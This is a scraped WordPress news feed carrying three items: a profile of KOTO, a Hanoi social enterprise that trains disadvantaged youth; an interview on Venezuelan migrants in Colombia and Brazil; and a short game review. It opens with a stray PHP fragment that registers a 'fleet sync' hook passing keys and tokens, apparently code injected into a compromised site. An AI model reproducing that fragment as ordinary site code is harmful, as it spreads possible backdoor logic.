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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Hardship – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 25 Jan 2019 08:42:17 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Hardship – Brief News https://briefnews.eu 32 32 How these Vietnamese kids are cooking their way out of hardship https://briefnews.eu/how-these-vietnamese-kids-are-cooking-their-way-out-of-hardship/ https://briefnews.eu/how-these-vietnamese-kids-are-cooking-their-way-out-of-hardship/#respond Fri, 25 Jan 2019 08:42:17 +0000 http://briefnews.eu/how-these-vietnamese-kids-are-cooking-their-way-out-of-hardship/
Travis Hodges


Travis Hodges
January 25, 2019

Brought to you by The Intrepid Foundation

In Hanoi, an inspiring social enterprise is giving disadvantaged young people new hope for the future, one recipe at a time.

Do is from a small village, tucked away in the mountainous
region of Dien Bien, Vietnam, about as far west as you can get from Hanoi. It’s
a place seldom visited by tourists. Or anyone, for that matter.

18-year-old Do is Hmong, one of Vietnam’s 54 recognized ethnic groups, and today in Hanoi, he’s politely plying me with a string of questions about my life in London. We talk about the food, the weather, and football—agreeing to disagree on who the best English team is.

Jovial though he seems, Do is a long way from home. He shows
me a traditional beaded bag that his older sister made for him. “When I miss
home, I get this out to remind me why I am here,” he explains. “When I arrived
here, I cried because it is hard to be away from my family. But after two years
with KOTO, I know I will get a stable job and be able to support my family.”

KOTO, which stands for ‘Know One Teach One,’ has been transforming lives in Vietnam since before Do was born. Established in Hanoi nearly 20 years ago, the social enterprise’s two-year scholarship program offers disadvantaged youth hope for a better future through training and opportunity. Do is one such youth.

“The acceptance letter says ‘Congratulations, you’re about to change your life’,” explains KOTO founder Jimmy Pham. And lives really do get changed—there’s no other training like this in Vietnam that’s free of charge, and there’s no welfare system in Vietnam either. “Without the training, some of these kids would go back to a life of crime, back to drugs or prostitution,” says Jimmy. “But with the training, they get practical hospitality expertise, an internationally recognized accreditation.”

Mentored by a dedicated team of staff and volunteers, the young participants of KOTO are also offered classes on important life skills (including personal finance, sex education, English, and health and interpersonal skills). The program not only equips youth with the skills necessary for a sustainable career, it provides them with a family.

In KOTO’s courtyard, I find a group of trainees gathered around one of the volunteers. ‘Gathered’ is an understatement; I can barely see the figure as he is mobbed by trainees all vying for his attention.

Andrew, an American volunteer who’s been with the program for the past six months, is doling out handshakes and encouraging words to everyone around him. “I’ll probably end up on the staff here” he says. “Since I got involved with the organization, it’s difficult to see myself doing anything else in life.”

Andrew has been involved in hospitality all his life, including a number of years as an international tour guide. Despite having traveled to over 74 countries, he says he’s never been happier than when participating in meaningful social work. “I used to bring tour groups to the KOTO restaurant,” he says. “That’s how I learned about the important work they do here.”

Andrew reminds me that the students of Class 34 have been together for only two weeks. “I admire their courage. They come from rural communities, often from terrible personal situations, and into a city of 10 million people. They’re a special group of people.”

Over lunch in the canteen—which is staffed by the trainees themselves—I chat with a group from Class 34. At 22 years old, Phat is the oldest, and dreams of opening his own restaurant so he can help other kids. He says that he feels like an older brother to many of his classmates. He worked on a construction site at the age of 15, and then as a motorbike taxi driver. “It’s hard to enjoy life when you worry about money all the time,” he says. “I used to only think about earning enough to eat, so making friends was hard.”

Another trainee, Nhi, lights up as we discuss favorite foods. “I want to bake!” she exclaims. “I want to be the world’s best cake maker and know all the world’s cake recipes!”

The current marketing director, Huong, is one of these returnees. Forced to drop out of school at 13, she moved to Hanoi alone, hoping to earn money to support her mother and sister. Following her graduation from KOTO in 2007, she received scholarships to study business in Australia, and then a Masters degree. She’s now back working with KOTO to transform other lives, and is a role model for many of the trainees.

My day with KOTO ends the way most travelers get to experience the organization—with a visit to the training restaurant in Hanoi. Students from Class 34 are at the restaurant to observe Class 32 in action. The senior class, halfway through their training by now, are clearly confident in the kitchen.

True to the ‘Know One Teach One’ principal, these students take Class 34 under their wing—guiding them around the restaurant and showing the wide-eyed newcomers how everything works. “I’m always ready to help Class 34,” explains 19-year-old Tho. “They are brothers and sisters to me. And while I don’t have any money right now, I have something better to share—I have knowledge.”

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Protracted political, economic, and humanitarian crises in Venezuela have spurred mass migration, with Venezuelans from across the social spectrum fleeing for neighboring Brazil and Colombia, to other countries in the region like Chile or Peru, and as far away as the US and Spain.

To escape what they face at home, many Venezuelans endure more hardship abroad, sacrificing their meager savings for transportation to places where, in part because a lack of documentation, they struggle to find work, lodging, and legal status — challenges exacerbated by discrimination and xenophobia.

Geoff Ramsey, the associate for Venezuela at Washington, DC-based research and advocacy group the Washington Office on Latin America, spent April inside Venezuela and on the country’s borders with Brazil and Colombia, meeting with Venezuelans seeking relief from their country’s collapse, government officials trying to deal with the exodus, and others trying to address the situation.

Ramsey spoke with Business Insider in late May, describing the bleak outlook for Venezuelans who are leaving their homes in search of a better life abroad.

The interview below has been edited for length and clarity.

The bulk of the fleeing Venezuelans are going to Colombia

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Christopher Woody: Regarding the situation on the border [of Venezuela], can you go into more detail about the conditions you encountered along the Colombian and Brazilian frontiers?

Geoff Ramsey: Yeah, so they’re very different. The bulk of the Venezuelans that are fleeing the country … the ones who can’t afford to travel farther, I should say, are going to Colombia.

Colombian authorities estimate that there are about a million Venezuelans in the country today, and you very much get that sense on the ground. In Cucuta on the border, there are tens of thousands of Venezuelans working in the informal sector, in many cases sleeping in the streets. The government, every night, comes through with trucks, and security forces round up people in the streets who are believed to be Venezuelans and can’t provide identification, and they’re shipped off to the border where they cross the next day.

I think there are real problems with … the Colombian government’s handling of the Venezuelan exodus, because since February they’ve essentially made it impossible for Venezuelans to cross into the country without proper documentation and proof of further travel, and it’s a real problem, because in Venezuela, as I’m sure you know, it’s extremely difficult to access papers. People can’t afford passports because of a combination of the paper shortages and corruption. … While passports should … essentially only cost something like 30 bolivares, if I’m not mistaken, Venezuelans are paying something like $ 800 to $ 1,000 to get access to a passport, so that’s prohibitively expensive for most Venezuelans.

[According to the official Venezuela exchange rate, 30 bolivares is US$ 3, though the currency is worth considerably less at the more frequently used black-market exchange rate, which is now about 995,000 bolivares to the dollar, according to the website DolarToday.]

Across the street an overflowing food pantry, there’s a government-run shelter with capacity for hundreds that stands empty

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Ramsey: In Cucuta there’s actually only two shelters. There is one that’s being run by the church and another that’s being run by the government in coordination with the Red Cross, and there this really just, I think, twisted dynamic where right across from the government-run shelter, there is a food pantry that serves about a thousand breakfasts every single day to the Venezuelans that have come across the border … and it’s flooded.

There are just every single day about 1,000, or I would say over 1,000, Venezuelans flooding into this food kitchen and into the streets, and the church people who run it are forced to close the doors and feed whoever they can, and right across the street you have the government shelter, [to] which … they only allow entry for Venezuelans who have their documents in order, and of course that’s very few Venezuelans.

So you have this dynamic where there’s right across the street from this overflowing food pantry or … essentially a shelter, you have the government-run shelter that has capacity for 300 or 400 people and is, on any given day, almost assuredly empty. When I was there there were two people in it. So there’s shelves stocked full of food. There’s bunks, shower facilities, and it’s all completely just unused, and that’s just because the Colombian government has adopted these measures that have, without actually saying so, closed the border to Venezuelans who are crossing without their passports.

“He was saying that these indigenous Venezuelans that are crossing into Brazil are locusts”

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Ramsey: … The response of the federal government in Brazil has been entirely led by the military, and on one hand that’s good because the military has a reliable logistical capacity. They can move large quantities of aid, but it’s also problematic because the government has tasked the military with providing security at the various shelters that operate on the border, and these are soldiers. These are not people that have much experience in providing direct humanitarian aid, and you see it on the ground.

When I went to the indigenous shelter in Pacaraima, which is directly on the Venezuelan border, I was taught a new word in Portuguese by the captain in charge of the shelter that I spoke with. … He was telling me that he thinks that these Venezuelans, these indigenous Venezuelans who are crossing the border, are “gafanhotos.” And I was asking what that meant, and he was saying, “Oh, they’re coming, and they’re eating, and they’re moving on.” And I was like, “Oh, so you mean they’re like … their tribe is nomadic, related to their customs?”

And he was like, “No, no,” and he put it into his phone on Google Translate, and he showed me that “gafanhoto” actually means “locust,” and he was saying that these indigenous Venezuelans that are crossing into Brazil are locusts, because he thinks that they’re using up state resources and don’t have any intentions for providing for themselves, and I think that really pairs with reports that I’ve heard from our partners of open discrimination from the military and a refusal to recognize local traditions in the indigenous shelters and a lack of respect for indigenous authorities in these shelters.

I think it’s sort of an underreported aspect of the Brazilian response to the crisis, and one that I try to just put a pin in for everybody, because in many ways Brazil deserves praise for what it’s doing, but there’s problems there as well.


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]]> https://briefnews.eu/different-shades-of-utter-resignation-venezuelans-fleeing-hardship-at-home-are-finding-more-struggles-abroad/feed/ 0 The First Tree Tells Intertwined Tales Of Hardship Through A Fox’s Journey https://briefnews.eu/the-first-tree-tells-intertwined-tales-of-hardship-through-a-foxs-journey/ https://briefnews.eu/the-first-tree-tells-intertwined-tales-of-hardship-through-a-foxs-journey/#respond Fri, 15 Sep 2017 01:07:00 +0000 http://briefnews.eu/the-first-tree-tells-intertwined-tales-of-hardship-through-a-foxs-journey/ TFT_Screen03.png

A mother fox trying to find her missing cubs. A man reconnecting with his childhood and his father after a time of loss. These stories will connect as players control the fox on a heartrending, but poignant, journey across a beautiful woodland in The First Tree.

Players will explore an ever shifting wilderness, walking through woods, through fields of blowing grass, across still ponds, and into the moonlit night, taking in their surroundings while finding pieces of memories that belong to the man. In this way, both of their stories come together over the course of the adventure, creating a connection through familial ties that will bring their sad, but powerful journeys together.

The First Tree is short, but its exploration of death and coming to understand it is no less heart-wrenching in its duration. So don’t play it before work just because you have some time. Unless you like your co-workers asking what you’ve been crying about, that is.

The First Tree is available for $ 7.99 on Steam. For more information on the game and developer David Wehle, you can head to the game’s site or follow them on YouTube and Twitter.

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